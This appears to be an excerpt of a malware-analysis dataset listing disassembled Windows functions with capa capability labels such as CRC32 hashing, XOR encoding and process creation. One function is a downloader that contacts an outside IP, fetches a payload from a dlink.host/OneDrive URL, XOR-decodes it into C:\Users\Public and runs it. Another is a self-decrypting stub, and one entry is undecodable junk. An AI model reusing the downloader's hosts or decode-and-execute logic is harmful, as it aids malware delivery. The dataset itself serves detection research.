joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41cbd3
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0041420e
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x41cc0b
xor eax, eax
jmp 0x41cc37
cmp esi, dword [ebp - 4]
je 0x41cc34
cmp dword [ebp + 0xc], 0
je 0x41cc34
push dword [edi + 0x9c]
call fcn.0041c7e1
push dword [edi + 0x9c]
mov esi, eax
call fcn.0040f117
pop ecx
pop ecx
cmp esi, eax
je 0x41cc07
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x41208a
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4b1064
push eax
push dword fs:[0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x41210a
arpl word [edx + esi], si
mov cl, 0xa5
cdq
invalid
invalid
Function at 0x41a4cf0
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor edx, edx
mov dword [ebp - 4], edx
xor edx, edx
push ebp
push 0x41a4d87
push dword fs:[edx]
mov dword fs:[edx], esp
mov ecx, eax
mov dl, 1
mov eax, dword [sym.imp.adortl60.bpl__Adodb_TADOQuery_]
call sub.adortl60.bpl__Adodb_TADOQuery__bctr_qqrp18Classes_TComponent
mov ebx, eax
call sub.VEDatasets.bpl__Vedataset_Connection_qqrv
mov edx, eax
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x268]
lea eax, [ebp - 4]
push eax
call sub.VEDatasets.bpl__Vedataset_FirmaNo_qqrv
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0
call sub.VEDatasets.bpl__Vedataset_DonemNo_qqrv
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0x14]
mov ecx, 1
mov eax, 0x41a4da0
call sub.rtl60.bpl__Sysutils_Format_qqrx17System_AnsiStringpx14System_TVarRecxi
mov eax, dword [ebp - 4]
push eax
mov eax, ebx
call sub.adortl60.bpl__Adodb_TADOQuery_GetSQL_qqrv
pop edx
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, ebx
call sub.dbrtl60.bpl__Db_TDataSet_Open_qqrv
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a4d8e
lea eax, [ebp - 4]
call sub.rtl60.bpl__System__LStrClr_qqrpv
ret

Function at 0x41b2130
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x41b2190
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__Sysutils_FileExists_qqrx17System_AnsiString
test al, al
je 0x41b217a
push 3
push 0x41b219c
push 0x41b219c
mov eax, dword [ebp - 4]
call sub.rtl60.bpl__System__LStrToPChar_qqrx17System_AnsiString
push eax
push 0x41b21a0
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41b2197
lea eax, [ebp - 4]
call sub.rtl60.bpl__System__LStrClr_qqrpv
ret

Function at 0x41b5614
Capabilities:
Reference sql statements

Disassembly:
add esp, 0xffffffe8
mov eax, 0x41b5674
mov dword [esp], eax
mov eax, 0x41b5694
mov dword [esp + 4], eax
mov eax, 0x41b56ac
mov dword [esp + 8], eax
mov eax, 0x41b56c8
mov dword [esp + 0xc], eax
mov eax, 0x41b56e0
mov dword [esp + 0x10], eax
mov eax, 0x41b5700
mov dword [esp + 0x14], eax
mov eax, esp
mov edx, 5
call fcn.041ab200
mov edx, 0x41b5720
mov eax, 0x41baf88
call fcn.041ab5c0
add esp, 0x18
ret
Function at 0x4012a4
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
and dword [ebp - 0x14], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x14]
push edi
mov dword [ebp - 0x38], esi
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [ebp - 8], eax
mov eax, dword [0x41b5b0]
mov dword [ebp - 0x30], eax
mov eax, dword [0x41b5b4]
mov dword [ebp - 0x34], eax
call fcn.0040129d
mov edi, dword [ebp - 0x14]
mov eax, dword [0x41b5b8]
add edi, 0x23f
mov dword [ebp - 0x28], eax
mov eax, dword [0x41b5bc]
push 0x20
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x2c], eax
pop esi
mov dword [ebp - 0x20], 2
add dword [ebp - 0x20], 3
mov edx, dword [ebp - 8]
mov eax, edx
mov ecx, dword [0x311bacc]
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x40132d
push 0x418228
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [0x311bacc]
add eax, dword [ebp - 0x28]
cmp ecx, 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x311bac8]
mov dword [ebp - 0x24], 0xedeb2e40
cmove eax, dword [ebp - 0x24]
and dword [ebp - 0x24], 0
cmp ecx, 0x3eb
mov dword [0x311bac8], eax
mov eax, dword [0x311ba20]
cmove eax, dword [ebp - 0x24]
mov dword [0x311ba20], eax
lea eax, [edi + edx]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x18], 0
mov dword [0x311bac4], 0xf4ea3dee
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x1c]
sub ebx, eax
mov dword [ebp - 0x10], eax
mov eax, ebx
mov dword [ebp - 0x1c], ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
nop
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x20]
mov eax, ebx
shr eax, cl
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
xor eax, dword [ebp - 0x24]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 8], eax
add edi, 0x61c88647
mov dword [ebp - 0x14], edi
dec esi
jne 0x4012f5
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], ebx
mov dword [esi], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d37c
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a35c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00404ce5
mov dword [ebp - 0x14], eax
cmp dword [0x822180], esi
jne 0x40d46f
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d3fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d54f
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d54f
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d54f
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x822180], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x822184], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x822188], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x822190], eax
test eax, eax
je 0x40d46c
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x82218c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d494
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d487
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d4a9
push 4
pop eax
jmp 0x40d551
cmp dword [ebp - 0x14], esi
je 0x40d4a9
push dword [0x822180]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d48e
mov eax, dword [0x82218c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d507
cmp dword [0x822190], edi
je 0x40d507
push eax
call ebx
push dword [0x822190]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d507
test eax, eax
je 0x40d507
call ecx
test eax, eax
je 0x40d4fc
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d4fc
test byte [ebp - 8], 1
jne 0x40d507
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d537
mov eax, dword [0x822184]
cmp eax, edi
je 0x40d534
push eax
call ebx
test eax, eax
je 0x40d534
call eax
mov esi, eax
test esi, esi
je 0x40d534
mov eax, dword [0x822188]
cmp eax, edi
je 0x40d534
push eax
call ebx
test eax, eax
je 0x40d534
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x822180]
call ebx
test eax, eax
je 0x40d54f
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d551
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040404b
mov esp, ebp
pop ebp
ret
Function at 0x406601
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406625
xor eax, eax
test eax, eax
je 0x406638
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406638
xor ecx, ecx
jmp 0x40663b
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406764
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a65c4], 0
push esi
jne 0x40679b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406775
mov dword [ecx*4 + 0x7a65c0], eax
inc ecx
cmp ecx, 0x100
jl 0x406770
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067cc
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a65c0]
xor eax, esi
inc ecx
dec edx
jne 0x4067ae
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x4012b6
Capabilities:
Hide graphical window

Disassembly:
push ebp
push 0x10000
push 0x1000
push 1
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x403eb4], eax
push 0x64
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0x30
push eax
mov dword [eax], ecx
add eax, 0x4c
mov ebp, eax
mov eax, 0x400000
mov dword [0x403eb0], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x401191
mov dword [ebp - 0x24], str.resiliency
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor eax, eax
push eax
push dword [0x403eb0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.abasement
push str.resiliency
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403eb8], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401380
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401367
mov eax, dword [0x403eb4]
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
pop ebp
ret 0x10
Function at 0x402aa0
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x5b37b0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x24], 0x10
lea eax, [esi + 0x10]
jb 0x402abe
mov eax, dword [eax]
push eax
mov eax, dword [esi + 4]
push 0x2712
push eax
call fcn.005197c0
add esp, 0xc
push 0x4a
push str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:13.0__Gecko_20100101_Firefox_13.0.1
lea ecx, [ebp - 0x20]
mov dword [ebp - 0xc], 0xf
mov dword [ebp - 0x10], 0
mov byte [ebp - 0x20], 0
call fcn.00402930
cmp dword [ebp - 0xc], 0x10
mov eax, dword [ebp - 0x20]
jae 0x402afd
lea eax, [ebp - 0x20]
mov ecx, dword [esi + 4]
push eax
push 0x2722
push ecx
call fcn.005197c0
mov edx, dword [esi + 4]
push 5
push 0x44
push edx
call fcn.005197c0
mov eax, dword [esi + 4]
push 1
push 0x34
push eax
call fcn.005197c0
mov ecx, dword [esi + 4]
push 1
push 0x63
push ecx
call fcn.005197c0
mov edx, dword [esi + 4]
push 0
push 0x2f
push edx
call fcn.005197c0
mov eax, dword [esi + 4]
push 0x4024e0
push 0x4e2b
push eax
call fcn.005197c0
mov ecx, dword [esi + 4]
add esp, 0x48
push esi
push 0x2711
push ecx
call fcn.005197c0
mov edx, dword [esi + 4]
push 0
push 0x40
push edx
call fcn.005197c0
mov eax, dword [esi + 4]
push 0
push 0x51
push eax
call fcn.005197c0
add esp, 0x24
cmp dword [ebp - 0xc], 0x10
pop esi
jb 0x402b95
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00408bb7
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ff460
mov esp, ebp
pop ebp
ret

Function at 0x402c30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402c4b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402c82
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x402c7e
jmp 0x402c70
cmp esi, eax
jae 0x402c82
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402c70
cmp esi, eax
jb 0x402c89
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x403080
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x5b37b0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push str.sklnsdhbs98r734imnok089
push str.C:UsersPublickXaqjn8YbjnZq8dl.dat
call fcn.00408700
mov edi, eax
add esp, 8
test edi, edi
je 0x4030c7
push esi
push edi
call fcn.00406b20
add esp, 8
test eax, eax
je 0x4030d9
push edi
call fcn.00408a80
add esp, 4
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ff460
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x130]
push eax
push 0xffffffffffffffff
push edi
call fcn.00406ad0
add esp, 0xc
test eax, eax
jne 0x4030be
push ebx
mov ebx, dword [ebp - 0x130]
xor esi, esi
test ebx, ebx
jle 0x403124
lea esp, [esp]
lea ecx, [ebp - 0x130]
push ecx
push esi
push edi
call fcn.00406ad0
lea edx, [ebp - 0x12c]
push edx
push esi
push edi
call fcn.00408720
inc esi
add esp, 0x18
cmp esi, ebx
jl 0x403100
push edi
call fcn.00408a80
add esp, 4
push str.C:UsersPublickXaqjn8YbjnZq8dl.dat
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.004ff460
mov esp, ebp
pop ebp
ret

Function at 0x403150
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
push esi
push edi
call fcn.005521b8
mov eax, dword [ebp + 0x10]
add esp, 8
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403170
sub eax, edx
push 0x562434
push edi
mov dword [ebp - 8], eax
call fcn.0050040b
mov edi, eax
mov eax, dword [ebp + 0xc]
push 0x5620f4
push eax
call fcn.0050040b
push edi
mov ebx, eax
call fcn.0050099e
add esp, 0x14
test eax, eax
jne 0x4031ef
push edi
push 1
lea ecx, [ebp - 1]
push 1
push ecx
call fcn.00500981
push edi
call fcn.0050099e
add esp, 0x14
test eax, eax
jne 0x4031e2
mov eax, esi
cdq
idiv dword [ebp - 8]
mov eax, dword [ebp + 0x10]
push ebx
push 1
push 1
mov cl, byte [edx + eax]
xor byte [ebp - 1], cl
lea edx, [ebp - 1]
push edx
call fcn.005001a8
add esp, 0x10
inc esi
push edi
call fcn.0050099e
add esp, 4
test eax, eax
je 0x4031a6
push edi
call fcn.0050028f
push ebx
call fcn.0050028f
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403430
Capabilities:
Create http request
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x5b37b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.https:__100.10.10.27]
mov ecx, dword [0x562718]
mov edx, dword [0x56271c]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [0x562720]
mov dword [ebp - 0x18], ecx
mov ecx, dword [0x562724]
mov dword [ebp - 0x14], edx
mov dl, byte [0x562728]
push 1
push ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
mov byte [ebp - 8], dl
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x84000000
push ebx
mov edi, eax
push ebx
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x4035a1
lea ecx, [ebp - 0x9c]
call fcn.00402740
mov esi, 0xf
mov eax, str.C:UsersPublic_vst4ySmvG3wizb.dat
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x54], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4034c8
sub eax, edx
push eax
push str.C:UsersPublic_vst4ySmvG3wizb.dat
lea ecx, [ebp - 0x54]
call fcn.00402930
push 0x68
push str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnbXhaZHV4TmlhbEZzaTFjP2U9Mjc5bW16.dat
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
call fcn.00402930
lea ecx, [ebp - 0x54]
push ecx
lea edx, [ebp - 0x38]
push edx
lea ecx, [ebp - 0x9c]
call fcn.00402bb0
mov esi, 0x10
cmp dword [ebp - 0x24], esi
jb 0x403520
mov eax, dword [ebp - 0x38]
push eax
call fcn.00408bb7
add esp, 4
mov dword [ebp - 0x24], 0xf
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
cmp dword [ebp - 0x40], esi
jb 0x40353e
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.00408bb7
add esp, 4
lea ecx, [ebp - 0x9c]
call fcn.00402480
push 0x562690
push str.C:UsersPublickXaqjn8YbjnZq8dl.dat
push str.C:UsersPublic_vst4ySmvG3wizb.dat
call fcn.00403150
push str.C:UsersPublickXaqjn8YbjnZq8dl.dat
push str.C:UsersPublic
call fcn.00403080
add esp, 0x14
push 5
push ebx
push 0x56267e
push 0x562658
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
lea ecx, [ebp - 0x9c]
call fcn.004027e0
jmp 0x4035ad
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.004ff460
mov esp, ebp
pop ebp
ret
Function at 0x4052b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x4052be
xor eax, eax
pop ebp
ret
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
push esi
not eax
cmp edx, 8
jb 0x40539d
mov esi, edx
shr esi, 3
push edi
jmp 0x4052e0
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x563de0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x563de0]
movzx edi, byte [ecx + 2]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x563de0]
movzx edi, byte [ecx + 3]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x563de0]
movzx edi, byte [ecx + 4]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x563de0]
movzx edi, byte [ecx + 5]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x563de0]
movzx edi, byte [ecx + 6]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x563de0]
movzx edi, byte [ecx + 7]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x563de0]
add ecx, 8
sub edx, 8
dec esi
jne 0x4052e0
pop edi
test edx, edx
je 0x4053ba
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x563de0]
inc ecx
dec edx
jne 0x4053a1
not eax
pop esi
pop ebp
ret

Function at 0x4053c0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, dword [edx]
movsx ecx, byte [ebp + 0xc]
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x563de0]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x563de0]
mov dword [edx + 8], ecx
pop ebp
ret

Function at 0x405410
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 8]
mov eax, ecx
and eax, 0xfffd
or eax, 2
mov edx, eax
xor edx, 1
imul edx, eax
mov al, byte [ebp + 0xc]
shr edx, 8
xor al, dl
mov edx, dword [esi]
push edi
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x563de0]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x563de0]
pop edi
mov dword [esi + 8], ecx
pop esi
pop ebx
pop ebp
ret
Function at 0x405810
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 0x14]
mov esi, ebx
imul esi, dword [ebp + 0x10]
cmp byte [edi], 0
je 0x405850
mov ecx, dword [ebp + 8]
mov edx, dword [edi + 4]
push 0
lea eax, [ebp + 0xc]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x405844
mov byte [edi + 8], 1
mov eax, dword [ebp + 0xc]
pop edi
xor edx, edx
pop esi
div ebx
pop ebx
pop ebp
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
lea edx, [ecx + esi]
cmp edx, eax
jbe 0x405861
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
add eax, ecx
mov ecx, dword [ebp + 8]
push esi
push eax
push ecx
call fcn.004ff980
add dword [edi + 0x1c], esi
add esp, 0xc
pop edi
mov eax, esi
xor edx, edx
pop esi
div ebx
pop ebx
pop ebp
ret